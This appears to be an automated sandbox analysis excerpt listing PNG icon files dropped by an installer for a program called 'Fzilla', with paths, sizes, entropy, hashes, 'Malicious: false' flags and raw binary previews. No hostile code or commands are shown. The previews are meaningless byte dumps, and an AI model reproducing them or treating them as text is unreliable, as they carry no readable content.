Preview:	.PNG........IHDR...0...0.....W......ZIDATx...p.....VK.lY...^..f..!P...........>.,C6....[.hfz....T..J.]..rT..X....4...................\...{...'.9XR%5..q..0..k..S...-.R_.T.$.'?....]..WP=.......)...O~m.%K...t..C..Vi9..$..../.....<.k~..{..>@.J..{F.#...m...i/.....\.s...........T}.;N......R........v...`O.....gph.?.}.q..Gm.s.....R.s.....(p...G.\|..nLE(.A.mJ`.Y.yj;me@i..Y.@..........#.V....=...{O....-.>..}?..+.;..=..}..;G...<.......o.~...?..ZN@k.2@;.A.....@iM.L.@\|...2.\|..g3..w.c..T...5.C..^.....y.....W.&.Io..7../._.....j63@...k>.y.C......+..o@.....0.}$.......d.#.GRG.;&..Y;....H.wBD.C.r...._p.%.[...w...\8...z"..o.i4.<.....XCF;.m...3....HR.=...BH:..f.,...' 1d.og... ..yg?m.........}...3..a2.0.l.H......,....49.1X.V.6....B*.'0....:.i\|F^x...R...G....f.RD....28.......c.....S;n.o.b..A4.1...."E.. 3.P4. 1P,@... ..0.`$..!..K..v..&..@..Y$q.4d.:#....T"v$%N...`c...&f.0%.bO.E4&c..\|.B...HQ.e.4.e...8..Z0...<.)@EO{".S2.I.$u...J....h....H.yL.c.M+'...]..3t.....NF4b

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-QKHUI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3079
Entropy (8bit):	7.925529381479853
Encrypted:	false
SSDEEP:	48:DIpEal3ERj+RrV3bBMKAWC9+zvKipYsO0hRrFOAzQcCmkkZk2pmUIzdV8+ZjL11F:Dtal3EIrRFM7ezvNhRrP8cCn57oa20Wm
MD5:	11B5B38783CC4A49F83AFB327EC6FB28
SHA1:	5B1210A096F12793E25AC8385C49170909A81693
SHA-256:	3897B0B6758F4222CAFD6BDD5BBD97EBEF8AC4D44EE8E9E263364A9A5B1275E0
SHA-512:	2F9366D263DA0290FDE499228FDE308924B3DDBB4CD250A700C13224F7EA4E3CBBAD3365CBDE5EF0FE439906AC007C1449F24A151EADFFB38FF862C466952AB5
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.....3+...=!....\|4...Pww/r.n....;N.O(.k.I.......I..d....\|}.2k......'..n..-":J.-.......J.9...q..,.....i......M.455...\|.....pQK......7....g.......(.m.(''....t.#$....f.~?....a....F.$............a.f.a..,..g.}}E.@..W.5k....N.;.;..]K..1..i.AW\qefkk...3m...A.m...m.-....0M..4.!...~.j......\|q....j.W\v.E.~....G..........&@w...t...eY....7..\|x.h..Pf..4.X.....p...o6#... $$D.t.9;T...~..........?.;.Z...Xs.CK.Y.ic./.........b.\|[..u..DW.P..%V.y,......cciuF..cs;.`}x........?%.9\.......H;.....+.6?.t....W....P..=.FCT(L.`.i.`@\N'e..1...k.h:H{....n.AP.....^...........bY..m&..9..`0..-.......~C-\G..........z"..0M.V.W.4..4.K..T..H..{....^....4......F. ...C...~.C.4}.`Lfl...e......i.B.F...h._..........z@.H.e.x ....f.mw.wV.9.=...r`..>.A...7#....7e.....{.c......O.@(M.I..zk.<.3..Gw...d%.}.. .LMDC...9.0.o..ig].#&.A.'....@.1..Z...r..k_8.,......?.+n..<..........,...t.......cJ......>...\|.3.....(...G.....OLD.A.*.:R...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-SN38A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	7.842014884113638
Encrypted:	false
SSDEEP:	48:VVKzjIQEZk5IjJS/U7PvgiTPTYLW1voI8l:zKzb5EqUTvfki1gB
MD5:	E9F13FDE8AE115E31C3854101D5523F4
SHA1:	8A6428D5A86E95F0F79A5798D8825B4E015D2CDA
SHA-256:	4ED6C9B57BB6FB5609A65472EBDA9A09DC64509C16EAC5BE3FAC966ECAB10687
SHA-512:	4766AD46DDFFF1960DABB909067CFC946BBA75E5A376500173F5CDDAB6D831ACFB2C969906DE8343A4BFBB8721B0A7DB38F342985AD6263343ED02309D2F15AD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..c\|di....n4ag.{.c.N..m[....^....]q..42hw:..7O.~....0G.....q..c..%......`.RL.."..d....%.H.S6.U..4........1G.M..Q...\|..\..L.^L]R0.7..G(+S..NBI..B.^...@.....4h.(..E..C0.p..L@.#6..B...2...."U~...(d......p..eB0.L...~.]z..E..D"s....?...."DA#..,.._.%......%..x.......@.(H....%,.. ^'!..HA.(...M.H.".B&..U.Z..-......Q.M;.\.L...\!...Q.Z.\|Y.(d.z.i(U..L.@....WE.".8.R......J.,"...gZ.`.... .q.,..T#......AP.......\|9..^.O...p...... ...T.....BKYD...p[..0V......e.`.IK. .].B.D..`!.~p_..H. .D.0..K...J-1.}.)..w...e<.0.L1.5\|.W....m.n.RF.c..D..."`.....5.....<.\|.5.....\|.QR..C.k..N;..d...N]...F5.T.A..@$...).!..`y.M)].....zQ..~..rI.?...<..k.);...C..U4(&.H ..PSN.XM..q...?3.......t....<yt......\....%.d....(..._..(..N\.....v..O.$...\|...PV...B.f.....?Aye.!I..w.O.A...Y....GTWDLL9..\.h:.."A .X".......{..%.....-....o.k]..^.m..2......`.+:%.8.'.....@..<(....!*.0....f Eh8..8Y...-...f...(.gt...7.~.._s...i........-.f.;..{3/{.....js@U...`..F.X

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-T9JQ1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1780
Entropy (8bit):	7.855546763918704
Encrypted:	false
SSDEEP:	48://FgLAApwhutgiI+6sSFXPSEN9qwda55w://2wh8giNc/SEN9qwdeS
MD5:	E9B285A0C45379F0D9F851C0609C033F
SHA1:	8F76B1DBE18BD6829BF9C56DB3E8FBF06902F9C2
SHA-256:	C518463E1BBD770237BF0BE659E849C3985440B3D3D45A939D239B7074F5E07F
SHA-512:	4148AD3D1536DEC4D734069A44BEA0721E214646F4FDA5173F6F5A350DC3A8D8BA4EAA865BAC5EC6BC1DBC5AFAAE48BE72ADD71C963BDB7DA85A627BE3B924B0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..V..3M....(..F>s...9\.m.>....&..3..NUm.3..{.y..wo.W...b...f.W...].[.\...D..9.2.4.bq....P\|......?.k..$.D"....q..].=U...u}q.............OH.]..w.#6..1O.u..kl..1......a...}.....v..F...9O[....b..h.m..R.h.B.....'h?A@9..?....AB.4...xv0...e.q....;<...Yg..4M].W..r.}....H...aX.5.....(..G..Z.1.L.s.rE..0.m].....c4.H&...h..A.8p....!.D...@................F>.'qD..iO1U..O._at...c"O...U..>[sv.S.=.O........f@..g./^....DzB..a..G.UL...:...B{.>.<.....8..AC.c.....9.f........=.g).......F..r.L..+!........9.H .:.\|...N..../(.{....p..;.,......5-.N%.T.)Lv.D.~.$f..s..(!b.,b.,. ....@.9..FC....0.7.^.......rO....l......m...k..._.........3%@.U.8U:tN".....-.$.ZB.2.9P.8... ....P8X.....YqR..M.f-.tV..M....5.k..9.......#.<.....:;c}.....&...d1$....Ri..8.'.w..b..@+D.g........Fx...'.M.n...X..nB.uh........MHz.....ro...%.Kh.:..#......qz....u.F....*.^"....j.!.h...............:.Q..aC....J.nZ.....lim..}...o...O..D^. .t<A.K....{.q/..$

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-TVCGM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2143
Entropy (8bit):	7.87835363717093
Encrypted:	false
SSDEEP:	48:lIz+d0HvNfae9AAicyRO7ByqlfZH6stnSs6VNp2W9F6R:JWvNfncO7ByqlfZH6Qz6P4gG
MD5:	9924AA948E4F8A438CFAD52A7A9FB44C
SHA1:	711D69738EFF5D4CB0474638AB28637EF78F976E
SHA-256:	7EFEE51460BDEF793099C6E6D7B43A77EEC9D252020A2049BA8144054A554543
SHA-512:	78109E70839A215B71FC7C2B919380D75361436BB28B9D413799FF13DAA15E77B7E2D33F451D862B21C35D6E4554246C0AC9FE5C40ACD6F743D18135978325AA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......&IDATx...Et$.w.._FT....a..3333.......23...33..y..U....G.<G....../..)....._8...GWn....6.....u?s.~_...NO.......>....W.nP.%.{..V..w[.y...[......l....'~...O...........7...:G..`.....{.w...n;8.`._=.......w..............fs....t~.n.%..../..9{.@Exl.I.0.@''.!.......C.....;...7....>....9C...i..i."..D...B.9...}......vh6w..~.N.6..(...H..4........./3...n.'C......h.........mO..6.9s............'......S.#..mc.......1..!....b~..4..}^...6...v.d.y.V5N..Z.N<z.q`7.......@v.,...'3{k............r.....(.V..!N....4.K..Jv.B ...N....b........u.-oDe...$.S.X.@.-.+. .9......^ .{#.y1...;......)..x.....0P.,.h3..B.....9...hM....mc.Jb.E..n......@)l.'...$.F.LWw.......=C...d_...t..(..X..c]).X.;6#..3-...3h.l=..D...F..J.n(l{#9.W.DkA.i.Do}.^..I...@....x.B.Q.&....H.......X........&.....b..1/3 ..v.f..Q.>9.!.yJ.]=.Y.@.H"u.."-$.........W.....k.5.pT.Vq..=.....va(..7.c.S..ba.....9....ig......0rj....4.V.8I8AJ...2S.4...(.Rl.SkM.....L

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-UGKLU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3137
Entropy (8bit):	7.915564721501213
Encrypted:	false
SSDEEP:	96:W8vZ7Ry48SeCUKkVn3L/jk0R0tqXJB+RBwMWw3I:W8llkVnH0FowY
MD5:	31F35396BD2C030D86964547EE6D4658
SHA1:	F2870DF867B40C45A22ED148098DE4E1A867C2D0
SHA-256:	C6C29F35CE5D9E072CAB2B4021A635CF45AE76670B887505D1EBD032136A7C85
SHA-512:	6277AC6BEBA522D967813F5D8C07326D592DA2D299CEFD09D6797C2A9431E4966D9364E438552DD078E0116E23F878C256222F935CD6078183E0A218EE9A3007
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx........?....M&..\f................s`1..f.n.........Su\|e..t..%[.@...t.R.<..Nr]w%.....y%k.GQtw....A.........Z.^.N._w...?..#..:..}..y3..4...Z...G.^..u...x..o.......&.....\....g...3.<..l...d...9.......i4.LMMq.a..Z....Z.f.....w...,`v....R.p..........'.w..........q.QG.E..?..........._........!..T*.Z.6d{./{......Bz..{.w.yWt...[..g..e.....X:<<t.g.q...+T6..N@.~.S.z.u..5.\.p`O..dx......$x...a..}......;w~C;z3....&...../_....{._t.I'9.L;;.+.o..-.n......Jze.X\|.S...I.2m.1\y.S.....y..G.q.G,iX...O_U9e...]W.......].O..'''y.......C......;.1.l......e.....^y..g....[...L&eZ".200.nK....qbb..."..v.....]7..=.w..~Y.W.....].8.#...m^....\|p.%.R..(=...N;.{...&{?W\y.L.R..%...;v\|e..S..{.,[.....~F.......Z..e4..6.;9t.m.7.t.._~....J.r........<..O.cc.e.!=v.%.N..h4....dll..O>Yv.\|_..P/8..L.\...".1...Y..J..7dcX.t...K..E....Z.F...:.a`.l....Q25.J+2.t..z....<a.JcD&b!`.i..E6....%....P.J.-F......G.D..D..z- =$.Z..[ ...@.^.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1872
Entropy (8bit):	7.86915408146958
Encrypted:	false
SSDEEP:	24:qrw8gHSAaUZ5181KPpXc/Uffu5xymuvQs1qOZRKoc5YQY2MT33cLLd4kFBCitJcw:Ow8gyAaq1QujRmv/MbOiitO2fVuKb
MD5:	8BE2218AE8174B8B1ACC9627F040EAC0
SHA1:	9FCD927AB9AD40DACF0AC71103303EF4BAFCD707
SHA-256:	72B9B5493BBB42CF1289721878DD2F60B531ABBF09C36DB68683B9DDD07CB5B9
SHA-512:	95F6CFC8AC97AA026109AE6B0944364AAD677C5CA74CCBA78D92D5362423FAFB4BF83318D61D2CD96AB13118B60CF74BA027A0BF11ED1D82E2B64896B7088EC3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..5.,.......^..w>233s...v..SC^.....)13.1...Hmo...j.....V.0..na.....}4.G..7....c.=.\|OQ.!.../.(J\|5W..2.U.....mPZR.`..Z..v:?K....C.\|.n..C..X(.r....'..?.M....>..TTF...>.....c'....T...b...g<.qm._.ak...V.......X]...V.<K..W.]K..P..Q.....c......B..D..u. 1(-...='c..e.$...X.Z._..3......2T?....V..1./..9..m..o\|....mY....~.C^k.......(&."..e8.bF=... ...c....*.....Z....c..\|.+H.#.C..C{a..........JA...7P..N/."M..>...tY[:..e.;\|.f.m...':.'O.:\I..v...........j.e..u...:....Zu.n...3fgg..G...6U....-..Q..<O....$ .`..d..a.....{..R.aTGuO.^K...A...y.'`.vo..@..-.O...8....6\.Xj...$...p..!p..U.de...^..o.y.R.g...T.D...3g..............Q..9.....#.q.H.\|./.x.c.0i.`......\|.....n.....h....f......).%.D...D..U..i...;. :=1......p...0T.6775.X?.A...sJy..1.I."... x_r^.^..[.f...........w.@Q.t.IO.R....90\..!..f........k-..`.H..p.f.....I.".X..y.z.H..Q.BP=D],.F.g?..........S..q...{.r./.u...f..........."..F...?s.4..:.VJ....].y>...4...1..2.j.4

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3137
Entropy (8bit):	7.915564721501213
Encrypted:	false
SSDEEP:	96:W8vZ7Ry48SeCUKkVn3L/jk0R0tqXJB+RBwMWw3I:W8llkVnH0FowY
MD5:	31F35396BD2C030D86964547EE6D4658
SHA1:	F2870DF867B40C45A22ED148098DE4E1A867C2D0
SHA-256:	C6C29F35CE5D9E072CAB2B4021A635CF45AE76670B887505D1EBD032136A7C85
SHA-512:	6277AC6BEBA522D967813F5D8C07326D592DA2D299CEFD09D6797C2A9431E4966D9364E438552DD078E0116E23F878C256222F935CD6078183E0A218EE9A3007
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx........?....M&..\f................s`1..f.n.........Su\|e..t..%[.@...t.R.<..Nr]w%.....y%k.GQtw....A.........Z.^.N._w...?..#..:..}..y3..4...Z...G.^..u...x..o.......&.....\....g...3.<..l...d...9.......i4.LMMq.a..Z....Z.f.....w...,`v....R.p..........'.w..........q.QG.E..?..........._........!..T*.Z.6d{./{......Bz..{.w.yWt...[..g..e.....X:<<t.g.q...+T6..N@.~.S.z.u..5.\.p`O..dx......$x...a..}......;w~C;z3....&...../_....{._t.I'9.L;;.+.o..-.n......Jze.X\|.S...I.2m.1\y.S.....y..G.q.G,iX...O_U9e...]W.......].O..'''y.......C......;.1.l......e.....^y..g....[...L&eZ".200.nK....qbb..."..v.....]7..=.w..~Y.W.....].8.#...m^....\|p.%.R..(=...N;.{...&{?W\y.L.R..%...;v\|e..S..{.,[.....~F.......Z..e4..6.;9t.m.7.t.._~....J.r........<..O.cc.e.!=v.%.N..h4....dll..O>Yv.\|_..P/8..L.\...".1...Y..J..7dcX.t...K..E....Z.F...:.a`.l....Q25.J+2.t..z....<a.JcD&b!`.i..E6....%....P.J.-F......G.D..D..z- =$.Z..[ ...@.^.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3020
Entropy (8bit):	7.917887535195548
Encrypted:	false
SSDEEP:	48:3tD2UJWml/ne1rNVVTtYbXD89f8mPLp+Ho/GjvceoZzHkfiGXb5ZBEF5k+vnUjac:NXkWKrLYbXD0hLAqGjc7zktbeF5DMaa9
MD5:	067226F96B7AAA98A561CC444BD1E38F
SHA1:	8D5F6BF29E250B45B08ABEC24E160B0F631B5C34
SHA-256:	B2431D3F074E6BE05DA61478FB0241AF9FE3FE14A3D8DFC9A9C5AE8C0581ECC7
SHA-512:	6BB6E2E98EF2DF73207DBA8CC7A354878FA928F40748C7D945D8CC7EAD96231FFB0FD0D76B12DE49A26CFE212AFA66F90BDE29DB0455AB537CBEAA320173D205
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p.Z.@k.m.m...k......L.9.~s..;s.q.{....x...A.m.M......m..M..j.oh..;.t.q.p.6w..'.2...k......F.J.5Zt....U..,.5h.{..g..f....Q.v..^c8d.C.f..r._.[.e...[...`.....w>y=.j\.t....a.H.7.M&.M.c..$.-.)}..r......-.].6..N..g..S...\|0.B9.0..%........X.....F.BO..D\|.....9a.M.1D..w..W.Y.....p..!._.....7.0{.=...f>...`..,...f"%...2f......"?O[jMA....n.7.k......-WV.]...\<u..`.Q.Y..^..W......Z\|.C....[.E\|.H/{.{d.AY.Z.+.`....."?USP....O..c....0..t..W.\|.>.K.m.O.u$.&...Px..!..P...",..d..'.....A..t<....z..Dz...P...`.5.tE...`.9......L....V...T..h.....F.....A.Nd....@x..'.A...}..`........k.B...O.&..:k....{C`<d..8\|.Z..).,0u.s...PPdAt................K..!..ma.1,...E...<b!.g....U..?.............>.ko.... ,..2.....^...=.+.....p..^E@\|....HIJ 55...d"""........B..#*.Z.j]~..J...Tm.......\..+X.....Q4(3!_."+#...EU.AAA\|...'''D.ooo<<<P.....kd=...^...K.......[....q$x.C.w?^..\|..33...'!!...<...pttD ++.ye$....HII.@.QTT./..;n.j.........&H...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3127
Entropy (8bit):	7.9184256749731885
Encrypted:	false
SSDEEP:	96:zszN3/tILzigh/jpZi8q4tAyYcAOeEET8ax7smm:w9/tIHi0pI8lAyYcAOeZ8Ezm
MD5:	4D09C6A4B0195E4B0CF5C054E1A980C7
SHA1:	3C978BEA31DFD8910D39517855665CF5D8877DE8
SHA-256:	0A2D3761C7AA029767A7A531104D043AC350D2B750F5691D94A2337C389E5996
SHA-512:	F93C2980705633DFDE2C49AFB11A169FC1F1356D89C0F559D8572C021A024EE9D1ABF11CB2919F822906EDB4CD20DDF987EA3FC1E4A83DEC0A4B4CE3BAE5C9E4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....H....4L...n..GKo1.............^F{........2...xc...........JI.._........5.E8D/...f.5..u.]./..P.....3........t..m.\|Za...@......{...Z.J...v/...(.....'z.X...~.1.......`.6zBu.b....."...IA.Z....\y.&Sitt..$.`.\.S.V.g.O.<...^.y.g>o.........GL.......r0.V..........{.H...a..K.:`+....^........$...r.o6...ti.I..>ED..a..R...bF.T...f....]....@.K.s..)?.<...c.PUV.Mp.P.}.....\|.+...Q...Z. .#...O.. E./...i.\p./. .../t....("s.......$.d2)....I.;.)..DN.Qb...T.....p....=..N)..I....H...e.....9G.....i........(.B/u.n....y....B.R...........c...T.....K1..P.~._$^$....\.<...?.......E....".x..S.....a..&.TFTKN] ...&...+..4...\?.U.. ..y......8..E.@!..XQ.T........^9....C...@.H.............q..U.oE$..SB.B.L4...Q%w...h.....H..B!..R...0>.........7T5......R.....@...J..@;r....<.1..$A..B......%...a...\.P..Q.P..U..D.M.....h..V.4.T.......Zk..J8...$t.....6.W....[B......d....t....X.(......3..Q.?..7.R.+.@p...}.0.J.......M;a...(.....\....'..9

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1780
Entropy (8bit):	7.855546763918704
Encrypted:	false
SSDEEP:	48://FgLAApwhutgiI+6sSFXPSEN9qwda55w://2wh8giNc/SEN9qwdeS
MD5:	E9B285A0C45379F0D9F851C0609C033F
SHA1:	8F76B1DBE18BD6829BF9C56DB3E8FBF06902F9C2
SHA-256:	C518463E1BBD770237BF0BE659E849C3985440B3D3D45A939D239B7074F5E07F
SHA-512:	4148AD3D1536DEC4D734069A44BEA0721E214646F4FDA5173F6F5A350DC3A8D8BA4EAA865BAC5EC6BC1DBC5AFAAE48BE72ADD71C963BDB7DA85A627BE3B924B0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..V..3M....(..F>s...9\.m.>....&..3..NUm.3..{.y..wo.W...b...f.W...].[.\...D..9.2.4.bq....P\|......?.k..$.D"....q..].=U...u}q.............OH.]..w.#6..1O.u..kl..1......a...}.....v..F...9O[....b..h.m..R.h.B.....'h?A@9..?....AB.4...xv0...e.q....;<...Yg..4M].W..r.}....H...aX.5.....(..G..Z.1.L.s.rE..0.m].....c4.H&...h..A.8p....!.D...@................F>.'qD..iO1U..O._at...c"O...U..>[sv.S.=.O........f@..g./^....DzB..a..G.UL...:...B{.>.<.....8..AC.c.....9.f........=.g).......F..r.L..+!........9.H .:.\|...N..../(.{....p..;.,......5-.N%.T.)Lv.D.~.$f..s..(!b.,b.,. ....@.9..FC....0.7.^.......rO....l......m...k..._.........3%@.U.8U:tN".....-.$.ZB.2.9P.8... ....P8X.....YqR..M.f-.tV..M....5.k..9.......#.<.....:;c}.....&...d1$....Ri..8.'.w..b..@+D.g........Fx...'.M.n...X..nB.uh........MHz.....ro...%.Kh.:..#......qz....u.F....*.^"....j.!.h...............:.Q..aC....J.nZ.....lim..}...o...O..D^. .t<A.K....{.q/..$

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2511
Entropy (8bit):	7.875677244487324
Encrypted:	false
SSDEEP:	48:uBsgTtptwMNfJJuze81NHvAulh3lb5TxZsRecgOvFyMmUH8A5JQEg:uBXtjwMfrl8LPLlTb9sQQDH8A3g
MD5:	A4F58BB4E259821DB6A3F302C58838B1
SHA1:	0ACCA291C77A789D8B93C5B7D93B7815D6535E1A
SHA-256:	65E102C9C97BC1DF82A8D749679C6CF183D10D6671F61050FC358746FCD61570
SHA-512:	7154A61F38E542F3895A8EE159E364AE4FAB373E1F9165BA616EC3D5113AB26057F24811AE940B9FB7AB16A1CF424E3E565952FC75F7E0FADA7D413FD0033E1B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....K...j.=...s.ys...x........A...^..8.....}.)./..D...O.m+..:...e...s.....D.L! ..;.n.@.....>OD>........~..N......,..i.y<..N.}]q.>w..5.k\|.^G...).k..T.........S.V...j..9w...Z.K.XZ...T.........nw.....w.~6..+"...q..W.b.E?L.dw..I.....?.X..nAO}..vt.....W..w.c.".q.S..[.....:K......T_.......\0..>.......q.M...R..H...(..LD.D....y..-y..+.iw.........GW......nb.[.''.V.:.p......)U..+.^@./^.k.Yn...N=.]...'Vm.}........e3........D7.@B(...x..T.~..,.d..o......pt.G.FG........H.#...d.#"....N......`.........1...D.(b@P..4I.g...D.....k....)F.CP..L..6.e.......J...f...1^<Y.[5.]...e4.@...5...7.R..<.^/"P.....4..h4...9.x.n.3LH..#.......9....cB.l.Y<..<[!n;@qd.,}. ....cn..ms^.#..1...vR>..%......m.............C*`.a.L.......gJI.iR^.#..s.......q.!P^.C(#!S.Z....TF....B..'..@J..y9....oiL4..0.w.~}..u...[.....r..%9q.l..0....S...x..1...K...T...x.b.e..tJ-P!......S...m.0......LDmJ7. .........C.0j...n.Z.........Q......;..&[.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3475
Entropy (8bit):	7.901767540145515
Encrypted:	false
SSDEEP:	96:b8OzXZERN5AskG36JltPFrtyCKQpTeDHBf:oOMbA8KfjpbC
MD5:	B270E3469A3B1EAB42EB388C6BEEBA3F
SHA1:	603FEE50BACB8DCCCFD909C304C3FB4054C18C4D
SHA-256:	677D40A06D4AE77E15ADEAFFDB7BFCA7721AAB970C2D63EC54C010ABFA1CA415
SHA-512:	01FA82CF6F28CC12F24F8C0E50EFCEC36E515CBD4BD9BE75CE8E4F739FD3E69EF488B9F0AC023B86A7149F490585383AF695ADC67F86FC5A1F3F7226B1C03796
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......ZIDATx...p.....VK.lY...^..f..!P...........>.,C6....[.hfz....T..J.]..rT..X....4...................\...{...'.9XR%5..q..0..k..S...-.R_.T.$.'?....]..WP=.......)...O~m.%K...t..C..Vi9..$..../.....<.k~..{..>@.J..{F.#...m...i/.....\.s...........T}.;N......R........v...`O.....gph.?.}.q..Gm.s.....R.s.....(p...G.\|..nLE(.A.mJ`.Y.yj;me@i..Y.@..........#.V....=...{O....-.>..}?..+.;..=..}..;G...<.......o.~...?..ZN@k.2@;.A.....@iM.L.@\|...2.\|..g3..w.c..T...5.C..^.....y.....W.&.Io..7../._.....j63@...k>.y.C......+..o@.....0.}$.......d.#.GRG.;&..Y;....H.wBD.C.r...._p.%.[...w...\8...z"..o.i4.<.....XCF;.m...3....HR.=...BH:..f.,...' 1d.og... ..yg?m.........}...3..a2.0.l.H......,....49.1X.V.6....B*.'0....:.i\|F^x...R...G....f.RD....28.......c.....S;n.o.b..A4.1...."E.. 3.P4. 1P,@... ..0.`$..!..K..v..&..@..Y$q.4d.:#....T"v$%N...`c...&f.0%.bO.E4&c..\|.B...HQ.e.4.e...8..Z0...<.)@EO{".S2.I.$u...J....h....H.yL.c.M+'...]..3t.....NF4b

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3652
Entropy (8bit):	7.919435511258349
Encrypted:	false
SSDEEP:	96:86fzK87fnPIryQlrlb7CfnPOVWKUU5cwvlZZbqsswZUpOF:86rfwrlQnPOVWmb7somOF
MD5:	7FFC8E1DE04D71113FF28DB7711E9C36
SHA1:	45B5166FB67C314A5EAB266B3F23E73D7B9FBB7E
SHA-256:	FF65CB12D4940B314408E7357CAF7BAC6EEB9FC7E0954F20BAC8DC5EA97E8664
SHA-512:	9F876ECECCEDA82B9D72FF4BCA6D95C82148AF504F1EF6ACC04DCD4497903FB3BFE770235B5D5820881E6920AA4C22A8FB65FF262DE4BD3D8D9BEA9C7B445373
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.t$M......Nv.....m.m.m....H...3.7..Mn....M........j..R>.o.....e.?.........yh...(.....w...F.......#..%#E.n /y.#....HR.V.b....F..^....._........O...........^<.....cj8....-..!.]>U.QlIT...6..4q\|....sh..]"G?..._._. L.P...s.9q.\.sc9..\|.s....F......A.4...&.....C.:...8r...;...._..o.....uR....._v.%..`"....z(.].<....^p......"...Q..4....p..z.G.[xu...Z.)?.....>.5.S.....}.I.....M]2S....,>..Qd}.8.p......j@..hC....r.pn=.JN.v.M...e.....7....!..._.._n....)gs..(az8...GV......F...m+w5V....H..45....\)..`...h..r.+...~.?.?.=!.7.......3..-e1=..H.C!.....fq.....P....H...I{s.X#LLW5.e.-.x.@>.`..cv4.'........7>.{.....b....~._@r..e1Xp.bR...`@......84..3Gk..$.........Ajs.;j..B)........+...~...=..}..w.m.@....?..m.....K...f.@!+.9.RpD.F..P(-WCL....g6..9.....7.o.+.8...QA...b\|.G....W.K^.....m{...]..g^8y.....r...J....7`H...>fx...-...X.3P.l[...V...(.R.A1.`f8....A........O.....K?t.O.M......f..u.\|OP.j0...[........dv....nan4..z.W

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3259
Entropy (8bit):	7.891827290849898
Encrypted:	false
SSDEEP:	48:4bQWZLjs/bKKYsfMNKnqD7CLUeV7+qScfbomBeSGdDCfObaS6bjR:bWZLwDKKwFqLfkcVBeSkCpdl
MD5:	47C32DD4059C0345C7B440189374C69D
SHA1:	A6B28D1ECC3F13226DB2CBA39B571F974AF1CDA2
